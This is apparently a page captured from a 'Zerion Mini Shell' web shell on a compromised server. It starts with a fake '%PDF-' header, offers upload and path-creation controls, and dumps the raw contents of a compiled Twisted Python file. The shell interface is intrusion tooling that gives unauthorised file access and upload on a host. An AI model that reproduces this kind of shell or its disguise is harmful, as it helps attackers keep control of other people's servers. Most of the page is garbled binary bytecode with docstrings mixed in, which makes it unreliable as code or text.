%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/application/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/application/__pycache__/strports.cpython-312.pyc

�

Ϫ�f!
�	���dZddlmZmZddlmZddlmZmZdejfd�Z
	dded	ejd
eejdefd�Z
ded	ejdejfd�Zd
dgZy)z�
Construct listening port services from a simple string description.

@see: L{twisted.internet.endpoints.serverFromString}
@see: L{twisted.internet.endpoints.clientFromString}
�)�Optional�cast)�StreamServerEndpointService)�	endpoints�
interfaces�returnc�B�ddlm}ttj|�S)Nr��reactor)�twisted.internetrrr�IReactorCorer
s �>/usr/lib/python3/dist-packages/twisted/application/strports.py�_getReactorrs��(��
�'�'��1�1�N�description�factoryrc�l�|�
t�}ttj||�|�}d|_|S)aj
    Return the service corresponding to a description.

    @param description: The description of the listening port, in the syntax
        described by L{twisted.internet.endpoints.serverFromString}.
    @type description: C{str}

    @param factory: The protocol factory which will build protocols for
        connections to this service.
    @type factory: L{twisted.internet.interfaces.IProtocolFactory}

    @rtype: C{twisted.application.service.IService}
    @return: the service corresponding to a description of a reliable stream
        server.

    @see: L{twisted.internet.endpoints.serverFromString}
    T)rrr�serverFromString�_raiseSynchronously)rrr�svcs    r�servicers;��,���-��
%��"�"�7�K�8�'��C�#�C���Jrc	��ddlm}tj||�\}}}t	t
jt|d|z�|i|���S)ac
    Listen on a port corresponding to a description.

    @param description: The description of the connecting port, in the syntax
        described by L{twisted.internet.endpoints.serverFromString}.
    @type description: L{str}

    @param factory: The protocol factory which will build protocols on
        connection.
    @type factory: L{twisted.internet.interfaces.IProtocolFactory}

    @rtype: L{twisted.internet.interfaces.IListeningPort}
    @return: the port corresponding to a description of a reliable virtual
        circuit server.

    @see: L{twisted.internet.endpoints.serverFromString}
    rr
�listen)rrr�_parseServerrr�IListeningPort�getattr)rrr�name�args�kws      rrr7sO��()��+�+�K��A�N�D�$����!�!�#D�7�7�H�t�O�#D�d�#Q�b�#Q��rrr)N)�__doc__�typingrr�twisted.application.internetrrrrr
r�str�IProtocolFactoryrrr�__all__�rr�<module>r's���
�"�D�2�2�Z�,�,�2�26����
�
(�
(���j�-�-�
.��!�	�@���)�:�:������8�h�
�r

Zerion Mini Shell 1.0